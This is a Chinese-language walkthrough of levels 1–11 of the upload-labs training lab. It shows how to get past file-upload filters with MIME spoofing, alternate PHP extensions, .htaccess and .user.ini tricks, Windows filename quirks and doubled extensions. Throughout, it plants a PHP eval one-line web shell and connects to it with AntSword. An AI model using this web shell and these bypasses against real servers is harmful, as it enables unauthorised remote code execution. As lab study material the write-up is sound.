文章目录
Pass-01-js检查
- 查看题目源码,发现三种后缀的文件可以上传。

- 上传一个后缀为.
jpg的文件,文件内容为一句话木马<?php @eval($_POST[123]);?>使用burp抓包并修改文件后缀为php,即可上传成功 - 上传成功使用一句话木马连接即可。
- 或者直接修改源码删去
JS检查的代码,即可将php木马文件直接上传。
Pass-02-MIME验证(content-type验证)
- 查看题目源码

- 查看题目提示为
MIME验证,分析源码,可以通过burp抓包修改数据包的第二个content-type,并查看响应。

3. 拖拽点击上传成功的图片木马,看到php配置页面即可说明上传成功。
4. 使用上述同样方法上传一句话木马,使用蚁剑连接即可。
Pass-03-黑名单绕过
查看题目源码
用黑名单不允许上传.asp,.aspx,.php,.jsp后缀的文件尝试直接上传一个文件后缀为
jpg的一句话木马文件,拖拽点击图片,发现提示错误显示。
基于文件后缀验证名验证方式的分类:
①基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功。
②基于黑名单验证:只针对黑名单中没有的后缀名,文件才能上传成功。
用黑名单不允许上传.asp,.aspx,.php,.jsp后缀的文件,但可以上传.phtml、 .php3 .php5、php4、 .pht、php1、php2、phps【这些后缀会被当成php文件解析】等等。
由于环境是phpstudy搭建,其中限制了后缀,需要在目录D:\PhpStudy2018\PHPTutorial\Apache\conf下将#AddType application/x-httpd-php.php.phtml改为AddType application/x-httpd-php.php.phtml.php3.php4.php5(记得去掉“#”)
上传文件后缀为
php3的内容为<?php phpinfo();?>的文件,出现php配置页面即可说明上传成功。使用上述同样方法上传一句话木马,使用蚁剑连接即可。
Pass-04-htaccess绕过
.htaccess是什么:
全称是Hypertext Access(超文本入口).htaccess文件也被成为分布式配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
.htaccess功能:
文件夹密码保护、用户自定义重定向、自定义404页面、扩展名伪静态化、禁止特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表
很可惜,这么一个强大的功能默认是不开启的Apache(有伪静态的都可以试试)
用法:
AddType application/x-httpd-php .jpg这个指令代表着.jpg文件会当做php来解析
SetHandler application/x-httpd-php,意思是把所有文件都解析为php文件来执行。
- 查看源码,发现常见的文件后缀都被禁用除了
htaccess,可以考虑使用htaccess绕过。
- 在该目录
..\PhpStudy2018\PHPTutorial\Apache\conf下httpd.conf文件中mod_rewrite模块开启,配置文件中LoadMoudle rewrite_module module modules/mod_rewrite.so AllowOverride All

通过命令行修改文件名,将1.htaccess修改为.htaccess
ren 1.htaccess .htaccess
- 先上传一个后缀为
htaccess的文件,其中文件内容为SetHandler application/x-httpd-php,意思是把所有文件都解析为php文件来执行。上传时使用burp抓包修改文件名只有后缀。
- 再次上传一个
png的内容为<?php phpinfo();?>文件,上传成功后拖拽点击图片,看到php配置页面即可说明上传成功,不必修改文件后缀为php。

- 使用上述同样方法上传一句话木马,使用蚁剑连接即可。
Pass-05-.user.ini绕过
- 查看题目源码,与第四关基本相同,但相比第四关,这关过滤了htaccess,还可以利用ini配置文件

- 先上传一个以
auto_propend_file=1.gif为内容的.user.ini文件【用户自定义的配置文件】。.user.ini文件里的意思是:所有的php文件都自动包含1.gif文件,.user.ini相当于一个用户自定义的php.ini。然后再上传一个内容为一句话木马的命名为1.gif的文件。
- 复制图片地址,利用蚁剑连接一句话木马,url地址为图片地址,但需要把图片文件名改为readme.php,密码为一句话木马的密码,即可连接成功。

Pss-06-大小写绕过
- 查看源码,相比上一关,
.ini也被禁用,但是转换为小写的一行源码被删掉,因此可以考虑大小写绕过的方法
- 查看提示,一部分大小写被禁用

- 上传一个
1.PHP的内容为<?php phpinfo();?>的文件,上传成功后拖拽点击图片,看到php配置的页面,说明文件上传成功。
- 使用上述同样方法上传一句话木马,使用蚁剑连接即可。
Pass-07-空格绕过
- 相比上一关的源码,转换为小写源码的未被删去,而是删去了首位去空的源码。

- 上传一个
1. php的内容为内容为<?php phpinfo();?>的文件,上传后拖拽点击图片,出现php配置页面即可说明上传成功。

- 使用上述同样方法上传一句话木马,使用蚁剑连接即可。
Pass-08-点绕过
- 查看源码,发现前几关所有的绕过方式都被禁用,但没有对后缀名末尾的点进行处理。因此可以考虑使用
windows特性,自动去掉后缀名中最后的点,且源码中相比上一关缺少了删除文件名末尾的点。
2. 使用burp抓包修改文件后缀为php.,上传一个后缀为php.的内容为<?php phpinfo();?>文件,上传后拖拽点击图片,发现php配置页面,即可说明上传成功。
Pass-09-::$DATA绕过
查看源码,与上一关相比,同样所有可以解析的后缀都被过滤,但缺少了过滤后缀名
::$DATA的源码。
常用
1.txt:a.txt来隐藏a.txt文件,除非使用dir/r才可以找到。

在
php+windows的情况下:如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名。利用windows特性,可在后缀名中加”::$DATA绕过,它的作用就是不检查后缀名,例如:“phpinfo.php::$DATA”,Windows会自动去掉末尾的::$DATA变成"phpinfo.php"。使用brup抓包修改文件后缀为::$DATA,且文件内容为<?php phpinfo();?>,点击上传。
放包之后,推拽点击上传的图片,可能会出现如下403页面

这时删去
url里添加的后缀::$DATA,则跳转到php配置的页面,说明文件上传成功。
使用上述同样方法上传一句话木马,使用蚁剑连接即可。
Pass-10-构建文件后缀绕过
- 点击查看题目源码,再查看提示,发现可以上传
jpg|、png|、gif为后缀的文件。

- 分析代码,先是去除文件名前后的空格,再去除文件名最后所有的
.,再通过strrchar函数来寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,导致可以利用1.php. .(点+空格+点)来绕过。因此使用burp抓包来修改文件后缀上传文件。
第一个,获取文件名,第二个删除点,所以第二个点没了,第三个,获取后缀,这时候获取到的是.php.空格,第四个,转换小写,第五个,去掉::$DATA,第六个,首尾去空格,最后变成.php.,最后一个点并没有去掉,只不过Windows后缀名最后不让出现点,所以传上去以后Windows默认给你去掉了。

3. 拖拽点击图片,看到php配置的页面说明上传成功。
4. 使用上述同样方法上传一句话木马,使用蚁剑连接即可。
Pass-11-双写绕过
方法1
- 查看源码,发现后缀为
png的文件未被限制
- 直接上传一个后缀为
png内容为<?php phpinfo();?>的文件,点击上传,推拽点击图片,可以看到php配置页面,说明上传成功。
- 使用上述同样方法上传一句话木马,使用蚁剑连接即可。
方法2
- 查看源码,黑名单过滤,将黑名单里的后缀名替换为空且只替换一次,因此可以用双写绕过
- 使用
burp抓包修改文件后缀为phpphp
- 拖拽点击图片,打开后看到
php配置页面,说明文件上传成功。
- 使用上述同样方法上传一句话木马,使用蚁剑连接即可。
总结
上传图片木马时,使用蚁剑连接时需配合文件包含漏洞中的file协议使用。例如:http://127.0.0.1/upload-labs-master/include.php/?file=./upload/1.jpg。